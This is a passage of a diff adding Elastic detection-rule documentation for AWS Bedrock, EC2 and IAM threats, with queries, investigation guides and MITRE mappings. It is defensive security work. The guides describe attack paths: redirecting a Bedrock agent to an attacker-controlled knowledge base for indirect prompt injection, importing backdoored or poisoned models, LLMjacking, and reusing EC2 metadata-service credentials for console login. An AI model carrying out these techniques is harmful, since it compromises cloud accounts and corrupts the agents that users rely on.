`bedrock:PutResourcePolicy` and `bedrock:DeleteResourcePolicy` to administrative roles and + enforce least-privilege resource policies. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and + event.provider: "bedrock.amazonaws.com" and + event.action: ("PutResourcePolicy" or "DeleteResourcePolicy") and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-third-party-or-external-knowledge-base-associated-to-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-third-party-or-external-knowledge-base-associated-to-agent.asciidoc new file mode 100644 index 0000000000..fb299ca3b8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-third-party-or-external-knowledge-base-associated-to-agent.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-third-party-or-external-knowledge-base-associated-to-agent]] +=== AWS Bedrock Third-Party or External Knowledge Base Associated to Agent + +Detects when an Amazon Bedrock agent is associated with, or updated to use, a knowledge base via the AssociateAgentKnowledgeBase, or UpdateAgentKnowledgeBase API actions. Bedrock agents consume knowledge base (RAG) content as trusted context for the model. By wiring an agent to an externally controlled or third-party knowledge base, or by swapping in an attacker-controlled knowledge base, an adversary can redraw the agent's trust boundary toward an untrusted source. This is a software-supply-chain compromise and an indirect prompt-injection delivery vector: poisoned or adversarial content served from the associated knowledge base is treated as authoritative by the agent. Validate that the associated knowledge base, and any underlying data source, is owned and controlled by your organization. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/agents.html +* https://docs.aws.amazon.com/bedrock/latest/userguide/knowledge-base.html + +*Tags*: + +* Domain: Cloud +* Domain: GenAI +* Data Source: Amazon Web Services +* Data Source: AWS +* Data Source: AWS CloudTrail +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Persistence +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: New Terms +* Platform: AWS +* Service: AWS Bedrock +* Mitre Atlas: AML.T0070 +* Mitre Atlas: AML.T0010 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Third-Party or External Knowledge Base Associated to Agent* + + +Amazon Bedrock agents use knowledge bases to retrieve content that is injected into the model's context as +trusted, authoritative information (Retrieval-Augmented Generation). The `AssociateAgentKnowledgeBase`, and +`UpdateAgentKnowledgeBase` actions change which knowledge base an agent trusts. Because the model consumes this +content as ground truth, redirecting an agent toward an externally controlled or attacker-supplied knowledge base +is a supply-chain and indirect prompt-injection delivery vector — distinct from poisoning the content of a knowledge +base the agent already trusts. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, `user_agent.original`, and `source.ip`. + - Confirm a related change request exists (RAG pipeline change, agent onboarding, model improvement work). +- **Validate the association** + - In `aws.cloudtrail.flattened.request_parameters`, identify the `agentId`, `knowledgeBaseId`, and any third-party + or external endpoint/configuration referenced. + - Confirm the knowledge base and its underlying data source are owned by your organization and not an external account. +- **Assess blast radius** + - Determine which applications or users invoke the affected agent and what sensitivity of decisions it drives. + - Check `aws.cloudtrail.flattened.response_elements` for the resulting association state. +- **Correlate activity** + - Look for preceding enumeration (`ListAgents`, `ListKnowledgeBases`, `GetAgent`) or creation of new knowledge + bases and data sources from the same identity. + + +*False positive analysis* + + +- **Planned RAG changes**: ML/platform teams routinely associate or update knowledge bases. Validate via ticket + and confirm the resource is an approved, organization-owned knowledge base. +- **Automation**: IaC or CI/CD pipelines may manage agent–knowledge base associations during deployment. + + +*Response and remediation* + + +- If unauthorized, dissociate the knowledge base from the agent and restore the approved configuration. +- Review the associated knowledge base and its data source for attacker-controlled or external content; quarantine if suspect. +- Audit the actor's recent Bedrock and IAM activity and rotate credentials if compromise is suspected. +- Restrict `bedrock:AssociateAgentKnowledgeBase`, `bedrock:UpdateAgentKnowledgeBase`, and third-party association + permissions to a small set of trusted roles. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "bedrock.amazonaws.com" + and event.action: ( + "AssociateAgentKnowledgeBase" or + "UpdateAgentKnowledgeBase" + ) + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-unauthorized-foundation-model-access-attempt.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-unauthorized-foundation-model-access-attempt.asciidoc new file mode 100644 index 0000000000..aa7277e4c9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-unauthorized-foundation-model-access-attempt.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-unauthorized-foundation-model-access-attempt]] +=== AWS Bedrock Unauthorized Foundation Model Access Attempt + +Identifies failed, access-denied attempts to enable account-level access to an Amazon Bedrock foundation model, either by granting a foundation-model entitlement, submitting a use case for model access, or creating a foundation-model agreement (accepting the EULA). These account-level "model access" actions unlock a foundation model so that it can subsequently be invoked. A principal that is repeatedly denied when attempting these actions may be a compromised or under-privileged identity probing for the ability to unlock expensive models (LLMjacking) or to establish a durable ability to invoke models. Unlike the companion rule that detects successful model-access grants, this rule surfaces the attempt itself, which is a high-signal indicator of credential boundary-testing even though access was not granted. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_PutUseCaseForModelAccess.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_CreateFoundationModelAgreement.html + +*Tags*: + +* Domain: Cloud +* Domain: GenAI +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Threat: Unauthorized AI Usage +* Threat: LLMjacking +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Service: AWS Bedrock +* Mitre Atlas: AML.T0012 +* Mitre Atlas: AML.T0040 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AWS Bedrock Unauthorized Foundation Model Access Attempt* + + +Amazon Bedrock exposes account-level "model access" controls that determine which foundation models a principal is allowed to invoke. Granting an entitlement (`PutFoundationModelEntitlement`), submitting a use case for model access (`PutUseCaseForModelAccess`), or creating a foundation-model agreement (`CreateFoundationModelAgreement`, which accepts the model EULA) all unlock a model for subsequent `InvokeModel`/`InvokeModelWithResponseStream` calls. + +This rule detects Bedrock control-plane calls that enable model access at the account level but were denied (`AccessDenied` / unauthorized). A denial indicates an identity attempting an action it is not permitted to perform, which is a strong signal of boundary-testing by a compromised or under-privileged principal even though no model access was granted. + + +*Possible investigation steps* + + +- Identify the principal by reviewing `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`, and determine whether the identity has any legitimate reason to manage Bedrock model access. A denial for an identity that should never touch these APIs is more suspicious than one from an admin with a transient permission gap. +- Inspect `aws.cloudtrail.error_code` and `aws.cloudtrail.error_message` to confirm the denial reason, and review `event.action` to determine which model-access action was attempted. +- Verify the `source.ip` and `user_agent.original` of the request. An unexpected IP, geolocation, or automation user agent is suspicious. +- Confirm the `cloud.account.id` and `cloud.region` are expected for Bedrock usage in your environment. +- Correlate with recent activity from the same principal, such as new access key creation, IAM permission changes, or repeated denials across Bedrock/IAM APIs, which can indicate permission enumeration or escalation attempts. +- Determine whether the identity later succeeded on the same or related actions (e.g., after acquiring new permissions), and check for subsequent `InvokeModel`/`InvokeModelWithResponseStream` activity. + + +*False positive analysis* + + +- Newly provisioned roles/users or infrastructure-as-code pipelines running before model-access permissions are applied may generate transient denials. Validate against change-management records and known provisioning workflows. +- ML teams exploring model adoption in sandbox accounts may hit denials; confirm the account and identity context. + + +*Response and remediation* + + +- If the attempt is unexpected, treat the identity as potentially compromised: disable or rotate the credentials (`aws.cloudtrail.user_identity.access_key_id`) and review the actor's recent activity. +- Review all Bedrock and IAM activity from the same identity in the surrounding window for successful access grants, permission changes, or other persistence attempts. +- Review and constrain IAM permissions so that only approved principals can call Bedrock model-access APIs, and alert on both denied and successful calls. +- Implement preventative guardrails (SCPs, IAM conditions) to limit which principals and models can be enabled. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "bedrock.amazonaws.com" + and event.action: ( + "PutFoundationModelEntitlement" or + "PutUseCaseForModelAccess" or + "CreateFoundationModelAgreement" + ) + and event.outcome: "failure" + and aws.cloudtrail.error_code: ( + "AccessDenied" or + "AccessDeniedException" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-unauthorized-resource-based-policy-modification-attempt.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-unauthorized-resource-based-policy-modification-attempt.asciidoc new file mode 100644 index 0000000000..d4fc9b0149 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-unauthorized-resource-based-policy-modification-attempt.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-unauthorized-resource-based-policy-modification-attempt]] +=== AWS Bedrock Unauthorized Resource-Based Policy Modification Attempt + +Detects failed, access-denied attempts to modify or delete resource-based access policies on AWS Bedrock resources via the PutResourcePolicy and DeleteResourcePolicy API calls. Resource-based policies govern which principals (including external accounts) may access Bedrock resources such as agents, knowledge bases, and custom models. A principal that is repeatedly denied when attempting to attach or remove these policies may be a compromised or under-privileged identity probing for the ability to grant external or cross-account access, or to weaken existing access controls. Unlike the companion rule that detects successful changes, this rule surfaces the attempt itself, which is a high-signal indicator of credential boundary-testing even though no change occurred. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_PutResourcePolicy.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_DeleteResourcePolicy.html + +*Tags*: + +* Domain: Cloud +* Domain: GenAI +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence +* Noise: Unknown +* Performance: Fast +* Threat: Unauthorized AI Usage +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Service: AWS Bedrock +* Mitre Atlas: AML.T0012 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Unauthorized Resource-Based Policy Modification Attempt* + + +AWS Bedrock resource-based policies control which principals can access Bedrock resources such as agents, +knowledge bases, and custom models. An adversary who has compromised a credential may attempt to attach a policy +that grants an external principal access for persistence or cross-account access, or delete a policy to break +existing access controls. This rule detects `PutResourcePolicy` and `DeleteResourcePolicy` calls that were denied +(`AccessDenied` / unauthorized), which indicates an identity attempting an action it is not permitted to perform — +a strong signal of boundary-testing by a compromised or under-privileged principal even though the change did not +take effect. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, + `aws.cloudtrail.user_identity.access_key_id`, `user_agent.original`, and `source.ip`. + - Determine whether this identity has any legitimate reason to manage Bedrock resource policies. A denial for an + identity that should never touch these APIs is more suspicious than one from an admin with a transient gap. +- **Assess the attempt** + - Inspect `aws.cloudtrail.error_code` and `aws.cloudtrail.error_message` to confirm the denial reason. + - For `PutResourcePolicy`, review `aws.cloudtrail.request_parameters` and + `aws.cloudtrail.flattened.request_parameters` for the target resource ARN and the attempted policy document. + Look for `Principal` values referencing external AWS account IDs, `"*"`, or unfamiliar roles. +- **Correlate activity** + - Look for repeated denials across Bedrock or IAM APIs from the same identity, which can indicate permission + enumeration or escalation attempts. + - Check whether the identity later succeeded (e.g., after acquiring new permissions) on the same or related + resources, and review any IAM changes in the surrounding window. + + +*False positive analysis* + + +- **Permission gaps**: Newly provisioned roles/users or IaC pipelines running before policy grants are applied may + generate transient denials. Validate against change tickets and known automation. +- **Exploration in non-production**: Developers testing in sandbox accounts may hit denials. Confirm the account and + identity context. + + +*Response and remediation* + + +- If the attempt is unexpected, treat the identity as potentially compromised: disable or rotate the credentials in + `aws.cloudtrail.user_identity.access_key_id` and review the actor's recent activity. +- Review all Bedrock and IAM activity from the same identity in the surrounding time window for successful access + grants, permission changes, or other persistence attempts. +- Confirm least-privilege on `bedrock:PutResourcePolicy` and `bedrock:DeleteResourcePolicy`, and alert on both denied + and successful calls. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and + event.provider: "bedrock.amazonaws.com" and + event.action: ("PutResourcePolicy" or "DeleteResourcePolicy") and + event.outcome: "failure" and + aws.cloudtrail.error_code: ( + "AccessDenied" or + "AccessDeniedException" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-untrusted-model-imported-or-marketplace-endpoint-registered.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-untrusted-model-imported-or-marketplace-endpoint-registered.asciidoc new file mode 100644 index 0000000000..625f921551 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-untrusted-model-imported-or-marketplace-endpoint-registered.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-untrusted-model-imported-or-marketplace-endpoint-registered]] +=== AWS Bedrock Untrusted Model Imported or Marketplace Endpoint Registered + +Detects when an AWS Bedrock custom model is imported or deployed, or when a marketplace model endpoint is created or registered, via the CreateModelImportJob, CreateCustomModelDeployment, CreateMarketplaceModelEndpoint, or RegisterMarketplaceModelEndpoint API calls. These actions introduce a model artifact from outside the organization's trusted training and approval pipeline. A backdoored, poisoned, or attacker-supplied model that downstream applications subsequently invoke represents a software supply-chain compromise. New model imports and marketplace endpoint registrations should be validated for artifact provenance (S3 source ownership), the registering identity, and whether the model originates from an approved internal pipeline. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_CreateModelImportJob.html +* https://docs.aws.amazon.com/bedrock/latest/userguide/model-import.html + +*Tags*: + +* Domain: Cloud +* Domain: GenAI +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Persistence +* Noise: Unknown +* Performance: Normal +* Threat: Unauthorized AI Usage +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Service: AWS Bedrock +* Mitre Atlas: AML.T0010 +* Mitre Atlas: AML.T0010.003 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Untrusted Model Imported or Marketplace Endpoint Registered* + + +Amazon Bedrock allows organizations to import custom models, deploy them, and register marketplace model endpoints for inference. Each of these paths introduces a model artifact that did not necessarily originate from the organization's trusted training and approval pipeline. Adversaries who can import a backdoored or poisoned model — or register an untrusted marketplace endpoint — can influence the output of any downstream application that invokes that model, constituting a supply-chain compromise. This detection identifies `CreateModelImportJob`, `CreateCustomModelDeployment`, `CreateMarketplaceModelEndpoint`, and `RegisterMarketplaceModelEndpoint` calls so responders can verify model provenance before the model is trusted for inference. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, `aws.cloudtrail.user_identity.access_key_id`, `user_agent.original`, and `source.ip`. + - Confirm whether a related change request or model onboarding ticket exists. + - Determine if the identity is an approved ML/MLOps role or automation principal. +- **Validate the model artifact source** + - In `aws.cloudtrail.flattened.request_parameters`, review the model source location (e.g., the S3 URI for an import job) and confirm the bucket belongs to your organization and is not attacker-controlled. + - For marketplace endpoints, confirm the model package ARN / product corresponds to an approved vendor. +- **Correlate activity** + - Look for subsequent `InvokeModel` / `InvokeModelWithResponseStream` activity targeting the new model or endpoint. + - Check for prior enumeration such as `ListFoundationModels`, `ListCustomModels`, or `ListImportedModels`. + - Review other recent actions by the same identity for signs of broader compromise. + + +*False positive analysis* + +- **Planned model onboarding**: ML teams routinely import models and register endpoints. Validate against a ticket and confirm the artifact source. +- **Automation**: IaC or MLOps pipelines may create these resources during deployment. Confirm the source IP and ARN match expected automation infrastructure. + + +*Response and remediation* + +- **If unauthorized** + - Delete or disable the imported model, custom model deployment, or marketplace endpoint. + - Prevent downstream applications from invoking the untrusted model until provenance is established. + - Disable the access key in `aws.cloudtrail.user_identity.access_key_id` and rotate credentials if compromise is suspected. + - Audit the S3 source bucket for tampering and review the model artifact for backdoors. +- **Hardening** + - Restrict `bedrock:CreateModelImportJob`, `bedrock:CreateCustomModelDeployment`, and marketplace endpoint creation/registration permissions to approved roles. + - Enforce that model artifacts originate only from organization-owned, controlled S3 locations. + + +*Additional information* + + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "bedrock.amazonaws.com" + and event.action: ( + "CreateModelImportJob" or + "CreateCustomModelDeployment" or + "CreateMarketplaceModelEndpoint" or + "RegisterMarketplaceModelEndpoint" + ) + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Implant Internal Image +** ID: T1525 +** Reference URL: https://attack.mitre.org/techniques/T1525/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-ec2-instance-console-login-via-assumed-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-ec2-instance-console-login-via-assumed-role.asciidoc new file mode 100644 index 0000000000..6901d103f6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-ec2-instance-console-login-via-assumed-role.asciidoc @@ -0,0 +1,229 @@ +[[prebuilt-rule-8-19-36-aws-ec2-instance-console-login-via-assumed-role]] +=== AWS EC2 Instance Console Login via Assumed Role + +Detects successful AWS Management Console or federation login activity performed using an EC2 instance’s assumed role credentials. EC2 instances typically use temporary credentials to make API calls, not to authenticate interactively via the console. A successful "ConsoleLogin" or "GetSigninToken" event using a session pattern that includes "i-" (the EC2 instance ID) is highly anomalous and may indicate that an adversary obtained the instance’s temporary credentials from the instance metadata service (IMDS) and used them to access the console. Such activity can enable lateral movement, privilege escalation, or persistence within the AWS account. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://redcanary.com/blog/aws-sts/ +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_enable-console-custom-url.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Data Source: AWS STS +* Data Source: AWS Sign-In +* Use Case: Identity and Access Audit +* Tactic: Lateral Movement +* Tactic: Credential Access +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 +* Service: AWS STS + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Instance Console Login via Assumed Role* + + +This rule detects successful AWS console or federation logins using temporary credentials tied to EC2 instance profiles. Under normal conditions, EC2 instances use their temporary credentials for programmatic API access — **not** for interactive console sessions. When an attacker gains access to an instance’s IMDS (Instance Metadata Service) or its environment variables, they may retrieve temporary STS credentials and attempt console logins to gain full access to the AWS account. A successful login of this type is rare and high-risk, as it strongly suggests credential theft or unauthorized session hijacking. + + +*Possible investigation steps* + + +- **Identify the source and actor** + - Review `aws.cloudtrail.user_identity.arn`, `user.id`, and `user_agent.original` fields to confirm the session originated from an EC2 instance (`:i-` pattern). + - Correlate the instance ID (`i-xxxxxx`) with the specific EC2 instance in your environment to identify its owner, purpose, and running applications. + - Check `source.ip` and `cloud.region` to determine if the login originated from within AWS infrastructure (expected) or an external location (suspicious). + +- **Correlate surrounding activity** + - Pivot in Timeline to view the sequence of events leading up to the login, including: + - STS token retrievals (`GetSessionToken`, `AssumeRole`, `GetCallerIdentity`) + - Calls to the IMDS endpoint or local credential exfiltration attempts from the instance. + - Investigate whether the same role or credentials were used for API actions following the login (e.g., `CreateUser`, `AttachRolePolicy`, or `ListBuckets`). + +- **Assess IAM role exposure** + - Determine which IAM role was associated with the instance at the time of the event and review its attached permissions. + - Evaluate whether the role grants console access or permissions beyond what that workload normally requires. + - Check for any recent changes to that role’s trust policy or attached policies. + +- **Validate authorization** + - Contact the EC2 instance owner or service team to confirm if any legitimate process should be logging in to the console. + - If no legitimate activity can explain the login, treat the credentials as compromised. + + +*False positive analysis* + + +This is very uncommon behavior. +Known legitimate causes include: +- AWS or internal security automation that programmatically initiates console sessions for validation or testing. +- Forensic or incident-response automation that logs in using temporary credentials from a compromised instance. +- Red-team or penetration-testing activity designed to validate IMDS exposure or lateral movement scenarios. + +For any other occurrence, treat the alert as potentially malicious. +Validate through: +- The originating instance’s purpose and owner. +- Known automation patterns in `user_agent.original`. +- The timestamp alignment with planned testing or security validation. + + +*Response and remediation* + + +- **Immediate containment** + - Revoke the temporary credentials for the affected role (`aws sts revoke-session-token` or rotate the role credentials). + - Isolate the associated EC2 instance (e.g., detach it from the VPC or security groups) to prevent further credential misuse. + - Invalidate active console sessions via AWS CLI or the AWS Console. + +- **Investigation and scoping** + - Review CloudTrail logs for all actions associated with the compromised role in the preceding 24 hours. + - Determine if additional roles or instances show similar `ConsoleLogin` patterns. + - Search for network indicators of IMDS exploitation (e.g., requests to `169.254.169.254` from unauthorized binaries or users). + +- **Recovery and hardening** + - Rotate all credentials for affected roles and users. + - Apply IMDSv2 enforcement to prevent credential harvesting from EC2 metadata. + - Implement restrictive IAM policies: deny console access (`iam:PassRole`, `sts:GetFederationToken`) for non-human roles. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "signin.amazonaws.com" + and event.action in ("ConsoleLogin", "GetSigninToken") + and event.outcome == "success" + and aws.cloudtrail.user_identity.type == "AssumedRole" + and stringContains (user.id, ":i-") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Cloud Services +** ID: T1021.007 +** Reference URL: https://attack.mitre.org/techniques/T1021/007/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc new file mode 100644 index 0000000000..b480f666fe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-36-aws-iam-compromisedkeyquarantine-policy-attached-to-user]] +=== AWS IAM CompromisedKeyQuarantine Policy Attached to User + +This rule looks for use of the IAM `AttachUserPolicy` API operation to attach the `CompromisedKeyQuarantine` or `CompromisedKeyQuarantineV2` AWS managed policies to an existing IAM user. This policy denies access to certain actions and is applied by the AWS team in the event that an IAM user's credentials have been compromised or exposed publicly. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSCompromisedKeyQuarantine.html +* 